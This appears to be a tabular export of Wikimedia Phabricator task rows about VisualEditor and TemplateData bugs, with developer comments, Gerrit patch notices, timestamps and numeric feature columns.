+244658,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","Change 125233 had a related patch set uploaded by Alex Monk:
+Only make tab changes on articles
+
+https://gerrit.wikimedia.org/r/125233",,,1397151063,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244655,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages",I think VE shouldn't be modifying tabs on pages which aren't articles (check wgIsArticle is true before doing anything).,,,1396995419,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+244651,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","Slinging to Alex – not sure what the fix here would be (it feels like overriding the semantics of a tab is something that should involve a class change, really) – thoughts?",,,1396986708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+244643,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","Hi James, just noting for the record that this is still quite problematic, and we very much appreciate any efforts to fix it. :)",,,1396986438,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,40,,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+244637,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages",*** Bug 56844 has been marked as a duplicate of this bug. ***,,,1384096303,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,18,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244633,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","@James: Any chance of getting this fixed soon? Now is when many instructors who are new to Wikipedia will be trying to set up their course pages, and the mislabeled tab is likely to confuse.",,,1378409168,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,9,,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0
+55445,VisualEditor: Metadata information missing from transaction when content is inserted,"The final case in ve.dm.Document.getMetadataReplace() applies if insert.length > remove.length.  But in this case only the 'retain' and 'insert' fields are set on the returned object.  In ve.dm.Transaction.pushReplace() we only add the {retain,remove,insert}Metadata fields to the operation if the 'remove' field on the object returned from getMetadataReplace() is not undefined.  So these fields won't be set correctly if insert.length > remove.length.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377652560,1378261401.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,,False,PHID-TASK-5jzwlml42c5fglrwtkfi,task_description,resolved,True,c1,3,True,False,True,8,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+242791,VisualEditor: Metadata information missing from transaction when content is inserted,"Change 81928 merged by jenkins-bot:
+Collapse metadata on any removal.
+
+https://gerrit.wikimedia.org/r/81928",,,1378261353,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jzwlml42c5fglrwtkfi,task_subcomment,,True,c1,3,False,,,9,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+242785,VisualEditor: Metadata information missing from transaction when content is inserted,"Change 81928 had a related patch set uploaded by Cscott:
+Collapse metadata on any removal.
+
+https://gerrit.wikimedia.org/r/81928",,,1377870978,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jzwlml42c5fglrwtkfi,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55444,VisualEditor: Metadata should always be collapsed on replace,"In ve.dm.Document.getMetadataReplace(), we only merge metadata if the amount removed is larger than the amount inserted.  But this could end up putting metadata in odd positions, for example if you have Foo[[Category:Bar]]BazQuux and you delete 'ooBa' and replace it with {image}xxx{/image}, then the category ends up inside the image.
+
+We should always merge metadata when a segment is deleted, so that it appears outside any new structure added.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377652320,1378261378.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,,False,PHID-TASK-bcaoiws3nuti2nsjkjz3,task_description,resolved,True,c1,3,True,False,True,8,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+242747,VisualEditor: Metadata should always be collapsed on replace,"Change 81928 merged by jenkins-bot:
+Collapse metadata on any removal.
+
+https://gerrit.wikimedia.org/r/81928",,,1378261355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bcaoiws3nuti2nsjkjz3,task_subcomment,,True,c1,3,False,,,9,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+242738,VisualEditor: Metadata should always be collapsed on replace,"Change 81928 had a related patch set uploaded by Cscott:
+Collapse metadata on any removal.
+
+https://gerrit.wikimedia.org/r/81928",,,1377870974,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bcaoiws3nuti2nsjkjz3,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55436,"VisualEditor: Style Parsoid's <figure>s to look like MediaWiki's <div class=""thumb"">s rather than replacing them","Right now VisualEditor transforms the HTML Parsoid gives us (which is nicely-structured <figure>s) into the mess of <div>s that MediaWiki's PHP parser throws out (up?). This is so that VE's rendered HTML magically inherits the styling that the images get on the read page, which includes
+
+Instead, we should just style these using CSS. However, this is difficult because the styles are specific to <div>s with known classes (and Parsoid's HTML has no <div>s), and is often over-ridden in wiki- or user-specific CSS (e.g. Wikia's sites' skins, or that on Cherokee Wikipedia).
+
+From quickly playing around, a basic CSS style that implements core-MW would be something like:
+
+figure
+	float: right;
+	border: 1px solid #CCC;
+	padding: 3px;
+	width: 172px;
+	background: #FAFAFA;
+	font-size: 13px;
+	margin-right: 1.2em;
+
+img
+	border: 1px solid #CCC;
+
+figcaption
+	padding: 3px;
+	font-size: smaller;
+	line-height: 1.4em;
+	width: 15em;
+	margin: 2px 0px;
+	padding-top: 0px;
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1377645300,1386874061.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-w64szlorn34djdoon7kx,task_description,resolved,True,c1,3,True,False,False,8,,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+242319,"VisualEditor: Style Parsoid's <figure>s to look like MediaWiki's <div class=""thumb"">s rather than replacing them","Change 93417 merged by jenkins-bot:
+Render CE MWBlockImageNodes as styled <figure>s
+
+https://gerrit.wikimedia.org/r/93417",,,1386874034,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-w64szlorn34djdoon7kx,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+242317,"VisualEditor: Style Parsoid's <figure>s to look like MediaWiki's <div class=""thumb"">s rather than replacing them","Change 93417 had a related patch set uploaded by Jforrester:
+Render CE MWBlockImageNodes as styled <figure>s
+
+https://gerrit.wikimedia.org/r/93417",,,1386213845,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-w64szlorn34djdoon7kx,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+55413,"TemplateData: Consider support for non-template transclusions (magic words, parser functions)","Right now it is only intended for data about custom wiki-made templates.
+
+To support magic words and parser functions, we'll need to make a few changes to make sure there are no conflicts or wrong assumptions.
+
+A few random points:
+* 'titles' parameter in the API module
+* The PHP parser prefers native magic word over templates (creating Template:PAGENAME and using {{PAGENAME}}, will not use that template).
+* Should there be an implied property 'type':
+  - type:template -> {{Foo}}, {{:Foo}}, {{Template:Foo}}, {{Project:Foo}}
+  - type:parserfunction -> {{PAGENAME}}, {{urlencode:123}}, {{#special:Watchlist}}
+
+* parser functions don't have numerical parameters, and the first parameter is separated by colon, not by pipe. So we need a way (both in TemplateData and VisualEditor) to insert unnamed parameters without using numbers.
+
+ e.g. {{urlencode:Foo|WIKI}} is correct, but {{urlencode:Foo|1=WIKI}} or {{urlencode:1=Foo|2=WIKI}} or {{urlencode|1=Foo|2=WIKI}} is wrong.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377627060,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-ibe45dq6vmicfsr4xdu7,task_description,open,True,c1,3,True,False,,8,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+1960990,"TemplateData: Consider support for non-template transclusions (magic words, parser functions)","Change 819740 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
+%%%[mediawiki/extensions/TemplateData@master] Specification.md: Update to add parser functions and extension tags%%%
+https://gerrit.wikimedia.org/r/819740",,,1659473886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibe45dq6vmicfsr4xdu7,task_subcomment,,True,c1,3,False,,,474,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1959573,"TemplateData: Consider support for non-template transclusions (magic words, parser functions)","Briefly: {T204371} proposing allowing a vertical pipe to separate the first argument of a parser function, so that's not necessarily an issue.  {T204307} proposes allowing parser functions to opt-in to the ""standard"" named-argument processing such as used in templates, which I think is a better way of solving that particular problem in the long term than teaching VE/Parsoid a whole new set of serialization options.
+
+In general I'd like to have a ""parser function syntax"" alternative for every extension and magic word, so that we wouldn't ""need"" the `type` parameter, we'd just always look up the various constructs in their ""parser function form"".  The one tricky case is extensions, which do already have a parser function form in `{{#tag}}` but then would need an additional extension hook because `{{#tag}}` is used for *every* extension.  It's a little awkward, because I don't ""really"" want to have to do dynamic dispatch on both the first argument *and* the parser function name, but I guess doing so would help with {{#invoke}} as well, so maybe I just need to support delegation.",,,1659377186,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ibe45dq6vmicfsr4xdu7,task_subcomment,,True,c1,3,True,,,474,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+55385,VisualEditor: Cursor movement stalls after cut-pasting text containing ref tags,"Steps to produce the error
+
+1. Edit a page with VE
+2. Cut a block of text containing a reference tag
+3. Paste it somewhere else
+
+Now try to move the cursor by arrow keys
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux",High,80.0,1377562620,1421454209.0,PHID-USER-4jecvpv4h62htut6pxez,False,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-TASK-cp6otuehw4hsidnwe5aw,task_description,resolved,True,c1,3,False,False,False,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+401464,VisualEditor: Cursor movement stalls after cut-pasting text containing ref tags," Firefox and Chrome on Mac - a cursor, when moved with arrow keys,  successfully skips the ref section.  Checked in test2/production. 
+
+",,,1421687542,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-cp6otuehw4hsidnwe5aw,task_subcomment,,True,c1,3,True,,,81,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+400967,VisualEditor: Cursor movement stalls after cut-pasting text containing ref tags," Firefox and Chrome on Mac - a cursor, when moved with arrow keys,  successfully skips the ref section.  Checked in test2. 
+
+Since it's an old bug - marking it's an invalid for now. ",,,1421454194,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-cp6otuehw4hsidnwe5aw,task_subcomment,,True,c1,3,True,,,80,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+55375,VisualEditor: Firefox doesn't fire a copy event when only a FocusableNode is selected,"Only workaround I can think of is to create a fake hidden selection whenever a FocusableNode(s) is selected on it's own.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377553200,1378923366.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-uypsqiix32ng3uny23mo,task_description,resolved,True,c1,3,True,False,True,8,,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+239233,VisualEditor: Firefox doesn't fire a copy event when only a FocusableNode is selected,"Change 83222 merged by jenkins-bot:
+The Great [...] Rewrite of 2013: Clipboard edition
+
+https://gerrit.wikimedia.org/r/83222",,,1378923308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uypsqiix32ng3uny23mo,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+239227,VisualEditor: Firefox doesn't fire a copy event when only a FocusableNode is selected,"Change 83222 had a related patch set uploaded by Esanders:
+The Great [...] Rewrite of 2013: Clipboard edition
+
+https://gerrit.wikimedia.org/r/83222",,,1378548150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uypsqiix32ng3uny23mo,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+55366,VisualEditor: getNearestCorrectOffset doesn't ignore internal lists,"This causes an exception to be thrown if you try to delete a content node at the end of the visible document (e.g. a reference list)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377547260,1397775737.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-epab3bnrysrclgspz74p,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+238731,VisualEditor: getNearestCorrectOffset doesn't ignore internal lists,"ElementLinearData#getRelativeOffset now checks for handlesOwnChildren, which prevents this from being an issue.",,,1397775737,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-epab3bnrysrclgspz74p,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+238723,VisualEditor: getNearestCorrectOffset doesn't ignore internal lists,May have been ameliorated by https://gerrit.wikimedia.org/r/98515,,,1385996866,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-epab3bnrysrclgspz74p,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+55365,VisualEditor: Unnamed references don't register when cloned,"1. Copy and paste an unnamed reference
+2. It doesn't appear as a subitem in the ref list
+3. Undo. The reference is now index 0.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377547080,1377800786.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-bzqqgbtatyk37hok3eeg,task_description,resolved,True,c1,3,True,False,True,8,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+238675,VisualEditor: Unnamed references don't register when cloned,"Change 81417 merged by jenkins-bot:
+Always give references names. Ignore if used once.
+
+https://gerrit.wikimedia.org/r/81417",,,1377800766,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bzqqgbtatyk37hok3eeg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+238672,VisualEditor: Unnamed references don't register when cloned,"Change 81417 had a related patch set uploaded by Esanders:
+Always give references names. Ignore if used once.
+
+https://gerrit.wikimedia.org/r/81417",,,1377643119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bzqqgbtatyk37hok3eeg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55364,VisualEditor: [Regression] Copying over nodes results in paste adding newlines,"Select text around a content node (e.g. a reference: ""foo [1] bar"" ) and then copy paste it. Note you now have extra newlines.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377545880,1377800812.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-7n32t2g7qmarlr4ehelo,task_description,resolved,True,c1,3,True,False,True,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1
+238631,VisualEditor: [Regression] Copying over nodes results in paste adding newlines,"Change 81028 merged by jenkins-bot:
+When pasting, try to use original range
+
+https://gerrit.wikimedia.org/r/81028",,,1377800814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7n32t2g7qmarlr4ehelo,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+238622,VisualEditor: [Regression] Copying over nodes results in paste adding newlines,"Change 81028 had a related patch set uploaded by Esanders:
+When pasting, try to use original range
+
+https://gerrit.wikimedia.org/r/81028",,,1377545917,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7n32t2g7qmarlr4ehelo,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+55362,VisualEditor: Document loses focus after cutting a FocusableNode,"1. select a focusable node only (e.g. a reference)
+2. Cut it (ctrl+x)
+3. Note you now have no cursor/selection
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377545460,1377634940.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-dtn35n72ll6dpl3csge6,task_description,resolved,True,c1,3,True,False,True,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1
+238550,VisualEditor: Document loses focus after cutting a FocusableNode,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377634940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dtn35n72ll6dpl3csge6,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+238545,VisualEditor: Document loses focus after cutting a FocusableNode,"Change 81027 merged by jenkins-bot:
+Give document real focus after cut
+
+https://gerrit.wikimedia.org/r/81027",,,1377634904,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dtn35n72ll6dpl3csge6,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238535,VisualEditor: Document loses focus after cutting a FocusableNode,"Change 81027 had a related patch set uploaded by Jforrester:
+Give document real focus after cut
+
